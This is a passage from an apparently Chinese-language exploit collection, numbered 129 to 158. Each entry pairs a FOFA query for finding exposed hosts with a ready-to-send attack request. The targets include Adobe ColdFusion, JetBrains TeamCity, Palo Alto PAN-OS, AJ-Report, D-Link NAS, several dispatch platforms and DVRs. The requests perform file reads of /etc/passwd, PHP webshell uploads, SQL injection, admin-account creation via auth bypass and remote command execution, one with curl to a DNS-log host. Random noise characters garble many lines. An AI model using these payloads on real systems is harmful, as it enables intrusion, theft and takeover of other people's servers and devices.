( b& u2 K. n( @FOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
% L; b8 |4 x  }' x) c* `) q: T' AFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
" D6 e1 Y9 u- THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 _6 Z: [( G$ m4 FAccept: */*
2 G9 P" a7 C3 R; [; H' V/ ?, e- xAccept-Encoding: gzip, deflate
Connection: close
9 m+ }& Y& b7 T6 u

第二步，读取/etc/passwd文件
4 b% g( e1 ?2 }2 n/ F" C- h' bGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
) L& X5 G* [  @' f; D5 FHost: x.x.x.x
& r1 o( x4 N: k. lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
! _6 b* x2 R7 ~' v5 cAccept: */*
1 g3 H' Q$ G2 B  `5 [4 v: HAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


9 Y4 i  Y, z8 m, w, K2 Z7 Q130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
' Y& O4 L" X4 |) D7 U9 xX-Requested-With: XMLHttpRequest
7 R1 e2 N& \8 t8 Q; DUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
/ I+ ?! I9 z1 L- F: gAccept-Language: zh-CN,zh;q=0.9
" o' a/ ?4 p% N1 k+ oCookie: user_name=1; user_id=3
8 V% V$ h6 n0 D  F. C  a3 B, R% x0 A9 JConnection: close
; G0 j& _) H7 J, p* Z) t
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
9 Y1 A2 E' w5 j. @! jContent-Type: image/png
1 V" i" Q; L+ Q* k) s
9 P; h5 P. C7 p) E; q' L<?php phpinfo();@eval($_POST['sec']);?>
* U, T8 r! A& F, Z' F. ^------WebKitFormBoundary3OCVBiwBVsNuB2kR--

+ j! g1 z5 X" b; ~
6 u5 ?% J* e/ k% c  B' t8 `& D: K7 ~9 C131. Mini-Tmall <=20231017 SQL注入
) S7 M- a% l! ~& d' t/ WFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
) V$ j+ x! g8 p8 u% phttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

5 O7 Q$ v* g! a) e* ?& \& W132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
* u7 d. L) l& y) t3 ?1 i) r) FCVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
% I' A/ n( ~  |0 c( T. l/ JHost: 192.168.40.130:8111
8 }. Q/ G, _) w; t' U. @1 ]) `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ X- a; v0 ~; u& }Accept: */*
Content-Type: application/json
! L7 R5 m7 v" r* ]/ E% C; W: I" HAccept-Encoding: gzip, deflate
+ u! X7 r# S+ C- M& j4 H
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

" |/ n4 V( H6 t
CVE-2024-27199
! k( a6 X: t$ m2 e, B/res/../admin/diagnostic.jsp
* @/ \/ `' s: N' w+ A5 u, \, z8 Z/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
$ u6 S  V. [- G5 ~* t- Z* K# [! M

CVE-2024-27198-RCE.py

  \4 k# {+ g1 Q, V* {# s& ~133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

* P; c0 t% U3 |* W------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
! S! V3 R& V: |1 {1 T' N3 XContent-Type: application/octet-stream

; V0 e$ t. _9 ^, Z/ \% X: A+ M+ p<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
( F, W" ~4 c0 v' H# D% T* J


134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
4 c% \0 n) ~: b6 FCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
7 v6 D& j7 l# i0 [& EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
( B; P) o- _( m& n/ I0 aAccept: */*
! x2 D9 h4 |, [1 l& B( A) d8 VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
( d. H$ l! u  I$ ?Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
4 N! r- z& E% b" R& ?; L6 [/ }( w6 FSec-Fetch-Site: same-origin
8 b; }5 G, m! r7 I" C) dTe: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

8 n, N" c" N* m) P; M5 mjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
# i2 U- G" u, X0 D
* o# |% @/ a) Q8 i. L  u0 J
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
# f, i5 v7 p& XCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
1 o, N5 a- m2 r6 B$ WGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
, L5 z0 c/ x2 j  iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 Q3 a! m" ~3 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ V3 [. A5 \- e) E' l9 _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ C; X# u6 i) ~& X. qConnection: close


, P6 h9 V, |- e+ R% j0 z2 W* W136. NextChat cors SSRF
3 S2 c0 q% h2 B- k& A' K3 n  Z4 @CVE-2023-49785
0 \& v# Z. x5 h" \: P* HFOFA：title="NextChat"
/ G# ^! M" f$ i; u6 B$ F" y8 P( @GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
: Y3 g* O' l& YHost: x.x.x.x:10000
& o7 \! k9 R$ ?$ C6 ?  C& GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* P7 ?. b  V. ^8 r& {. {7 lConnection: close
) ?1 p, o; w  |9 s9 ~3 sAccept: */*
6 M" T* Y6 @) v( C" m7 Y0 e& DAccept-Language: en
! @. k9 N( ], J$ x. u, C1 `: `* sAccept-Encoding: gzip
, K$ q/ I8 q/ ?& V2 i
; C! @8 M$ n; L0 ~1 h2 _
$ q: y" y) k: O, u" ]; Q/ C137. 福建科立迅通信指挥调度平台down_file.php sql注入
- V  H% p8 m9 _3 t" x  X' r: uCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
9 }6 ]. Q2 {, \' O, n8 s+ }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* ~2 ]+ \2 c0 K! m( F/ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 C5 u4 H( c& G/ ]& ~  n' i6 o3 ?8 KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
: e: A2 `: `: G; r+ @; AConnection: close
* F3 k3 s; a" _8 XCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
! g4 M3 h3 L( q7 [7 b* ZUpgrade-Insecure-Requests: 1
  u8 W& u  {  S! p2 L- y- ^

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
& x# l" ?' W5 H; c$ i' }CVE-2024-2621
$ Q% Z( ?) G3 O  dFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 Z. c8 W$ V, I8 e0 d7 O6 PGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
- M+ s1 Z  x: o8 H+ v, |Host: x.x.x.x
7 H2 q% J4 F% [% J) w* ~  h7 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 {3 ^, a% |) Q7 H9 LAccept-Encoding: gzip, deflate, br
. i# H+ T5 f5 m; @- P3 MConnection: close
4 Y& e2 K; j# n% c8 AUpgrade-Insecure-Requests: 1
4 d6 R% D0 @, H  W" q, \

+ o& Y5 s  D; O0 X7 k- ]139. 福建科立讯通信指挥调度平台editemedia.php sql注入
. f+ J$ X+ X0 S9 N3 P4 v: \CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
' u+ g3 |" K8 o: MGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
" a- |+ f6 ^8 W7 ^+ b' G: RHost: x.x.x.x
' c# y, r  p+ X0 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 w* F$ D3 M! ?7 u- e2 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! G. F8 C1 Y& ^7 T/ NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 t4 B8 ^5 \) a" J/ zAccept-Encoding: gzip, deflate, br
) _# q; y& r9 U8 x3 PConnection: close
; U0 b  L- `$ `9 M: OCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
7 p( G" E: l+ R  m) VUpgrade-Insecure-Requests: 1

: |& I8 |$ A1 Z9 R0 f
: a1 O7 N! y! A( w0 o( V& u% w140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
7 L% \  |! z/ yCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
* U* i. ?, h  N( O; A" CGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
% I) k6 G$ u, f; ?4 B0 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
7 {- {2 O6 z9 y  T; q8 R7 ?" H7 [  e6 nCookie: authcode=h8g9
3 a; w1 ]. K8 VUpgrade-Insecure-Requests: 1
/ H  i/ j. L; [
8 N) R+ u3 l1 H2 b
0 t8 u+ H/ A6 R) u. X' q141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
( _* w% z9 g5 Y( V- y6 d3 ]POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
% Z0 _; \" @. _2 i& kUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
; N2 A, u" b! E; FContent-Type: application/x-www-form-urlencoded
4 Z3 G  K% ~* y5 F- M

+ }/ N5 s+ ?0 j4 N7 c8 X3 mdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


: W8 y0 a6 D  }# {142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
/ T% ~% ]7 x8 YFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
) ^& x6 ]6 W8 `! y$ M2 lCVE-2024-25850
, F2 `1 X. [. D, w" s" \' uFOFA：title='AP setup' && header='netis'
- O6 w. l* }  _: A0 GPAYLOAD

( }6 x1 g7 z# s" v1 K" e& H- E144. D-Link nas_sharing.cgi 命令注入
  c; b/ p* K2 e+ R% PFOFA：app="D_Link-DNS-ShareCenter"
; P: S* B6 V$ i: k; Z7 [) j4 Ssystem参数用于传要执行的命令
  W5 G( d4 {- {, C; d3 x2 K4 YGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
# P" G  Q/ t& tUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
3 j; J- U& j/ o. ~3 j/ wConnection: close
Accept: */*
: R) J% l" Y  r5 A- zAccept-Language: en
2 a% N9 {* H  O  [! s1 O, [Accept-Encoding: gzip
7 m- p0 Z" O4 [$ N

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
. |. B$ V! o9 O: Y4 o. vCVE-2024-3400
FOFA：icon_hash="-631559155"
- `5 Q0 c! F( P9 Y9 C5 RGET /global-protect/login.esp HTTP/1.1
; E7 r0 C" N9 A9 X6 ^Host: 192.168.30.112:1005
/ u* J' v+ M' p, I+ g6 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
$ C7 i/ B5 Q" G. v5 _Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
+ [" ?# f9 k: @( R( W4 a# aAccept-Encoding: gzip
& U5 p$ p! D: d) j! K, \; {: |: R

* L$ W  |3 H) l  a8 J# A146. MajorDoMo thumb.php 未授权远程代码执行
+ W, i. G$ Y/ }/ D7 p; C7 p0 i/ cCNVD-2024-02175
1 E+ g4 v% x% ^4 ~  ?& nFOFA：app="MajordomoSL"
# E2 |2 V9 C! B; N+ f5 _! X- r5 OGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
# X2 Z. w, I; {: k; D5 x7 CHost: x.x.x.x
: C" Z- X$ j5 w0 l  T5 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
7 V  R7 b. I9 ^& d; S! a* JAccept-Encoding: gzip, deflate
Connection: close
) O4 Y; Q5 J7 J7 a9 a" ]

; e' q% f3 M- S- b  G1 }147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
5 \' m7 W" A: i+ VCVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
( e0 A! a) L+ eConnection: close


148. CrushFTP 认证绕过模板注入
# @" f. |% }0 g" ^+ E  H/ LCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
- P5 t; x/ Q  }( w
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
5 F7 j' f) y' @6 {" _Host: x.x.x.x
# |9 L" [9 G" ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ |6 s7 l  G% N" PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
# o' ~1 Z: P7 a8 E. k3 ?/ F# WAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
! b6 U" V7 e7 f- n  }$ s1 I% DConnection: close

* n2 X: M( o+ V: u! M/ _# o  U7 x{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
4 M* l4 I+ m6 b9 q) A. b
2 t# K6 D  n  h, L0 m150. AJ-Report 1.4.0 认证绕过与远程代码执行
  U( e% v0 Q. h; v, z8 Z6 |FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" o6 q+ x4 l; z0 C3 ]1 L9 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 N7 c! J6 q" Y" r: {, AAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
( z" l) p- L8 }1 R, ]Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
5 H- W. F+ C3 a; E) l6 p* Z

4 b/ U! u/ Y" N, P2 U. B151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
" @5 R4 B( n, G: B* Y( T* RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
7 d  ]* W# d1 L) T6 |5 Y
3 ?! ]. v5 X$ R8 p: u
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
  d( m" q* C/ c. Q' r. i7 _6 LLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
5 l; v8 v# Z  k2 `& N7 G6 kJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
' C, U7 a" e$ d  PGET /access/set?param=enableapi&value=1 HTTP/1.1
% y8 h% R. J+ N& Y3 }" RHost: x.x.x.x
0 T' b/ @8 M% e0 \& S. g6 ]8 m, HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
' G1 |( ]# x0 k. v0 ZAccept: */*
2 g; Q8 p% {: M# f! RAccept-Language: en
( }+ e! @) |( D4 G& Z: mAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
5 |0 H" V5 Z* l& p1 n2 v4 {& c
3 a7 _! N7 i$ t
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
% ~; a; |% K. k& jContent-Type: application/json
Accept-Encoding: gzip
. ?5 K3 [% q* u( K/ t# I8 D
5 F/ o/ i# H6 _7 Q1 m6 k2 B{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

1 g5 J$ H* C- j, R+ A# F
+ a2 T: m( ?( e1 A* H% p第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


: h" I9 K: g  j, U. A- K- a154. 天维尔消防救援作战调度平台 SQL注入
7 M1 F( L* `8 c; v- SCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
& u# v5 I' k1 i" q! O; JHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
+ o+ c# x; G1 H! u; TOrigin: http://x.x.x.x
Content-Type: application/json
6 k$ t, q9 Y% f4 T/ _' U/ iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
8 C+ j5 @* F2 l4 V3 E; U5 O( UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
6 m" z+ j9 Q: I) m, HAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
! y- F7 G8 j! X; G- mConnection: close
  ^0 M) r( E5 H) l
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
! W& y% y: Z7 C; q) Y/ qFOFA：title=="上网导航 - LyLme Spage"
8 m) b( @1 d% c$ Z5 V4 i/ PPOST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
9 @9 O4 g) W6 D. O1 H- M9 \# CConnection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
, `9 ~. @! q( j4 RAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 \; |, W% E. mContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
$ X. @4 p, }; _4 g2 Z5 P- i  D. I. hX-Requested-With: XMLHttpRequest
: s+ Y9 C0 q( ]4 e
$ p. ?! i8 J4 `3 [9 z( V-----------------------------qttl7vemrsold314zg0f
# V8 I. I7 u7 T5 I: h5 N9 j& NContent-Disposition: form-data; name="file"; filename="test.php"
' X. s& R7 p8 i% t( wContent-Type: image/png
8 |$ O& c5 x2 A2 [4 _+ i  V
<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


- p' O7 |+ U2 t8 a$ q# F6 A& [$ E访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
5 w/ t9 n7 Q/ \CVE-2024-3721
% F. p8 b! n' H- C7 [7 a. pFOFA："Location: /login.rsp"
% H; x. V5 R9 l/ d, O- O2 D  {·TBK DVR-4104
·TBK DVR-4216
( e+ Y2 |- E! L) f( jcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
" r% r9 S6 }* V! h% j
+ D7 T( R' b/ B! ^3 `. F5 Q5 ?
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
% r' u% Y9 k/ SHost: x.x.x.x
' t' N; `7 d; v+ {, ZUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
! g/ z* \5 c+ B8 _8 jContent-Length: 0
' `" T; m; |. n. ~1 I" n0 qCookie: uid=1
. k$ Y0 q4 i6 x( v3 V& a, BAccept-Encoding: gzip

* V9 N+ k; G2 C% S' B4 k
157. 美特CRM upload.jsp 任意文件上传
" v4 J, e7 Z( M/ v' R& CCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
/ m4 l- a9 v: X9 u1 O- n: }1 X3 Q$ c% yPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
( ^- u- l1 {; s3 |  s* vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
5 d+ K- Z' f6 E9 P9 g, {Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
! j/ w- I0 N: U, K6 o. r9 ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
2 B* P* H. Y. A5 S: yContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
0 Z4 V: w* S$ g" @' J4 q$ L
nyhelxrutzwhrsvsrafb
, a; m; N, d  j! i6 F0 V------WebKitFormBoundary1imovELzPsfzp5dN
$ U6 r( E+ X  h% R4 x( p- S% A6 |$ KContent-Disposition: form-data; name="key"

/ Q. m' Y# Q0 lnull
- t) d$ k  H2 i" F3 ?( j+ k9 V------WebKitFormBoundary1imovELzPsfzp5dN
: {8 b- M& g6 l) SContent-Disposition: form-data; name="form"

% Q5 W1 u' h' W* x1 Z7 t  @1 C( qnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

0 G$ f, ^3 T- r- D' K( Lnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

! `( r9 H2 H* C7 {. M: [2 vnull
0 X5 U1 X; J# q------WebKitFormBoundary1imovELzPsfzp5dN
8 ^4 W1 p- Z/ N) j" F, T; h5 T7 Y3 zContent-Disposition: form-data; name="filefolder"

# A( a9 o5 X% ^; v5 F# n$ J7 s" `null
, v) P( E& o- U$ Q: b  J- _------WebKitFormBoundary1imovELzPsfzp5dN--

% @* n2 ^. d- y" h9 B
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
7 ^4 W1 h9 ?  yPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
; M4 ^8 U' o, W: Q& ]Host: {{Hostname}}
; W5 ^' V) M3 [5 m$ ~Content-Type: application/x-www-form-urlencoded

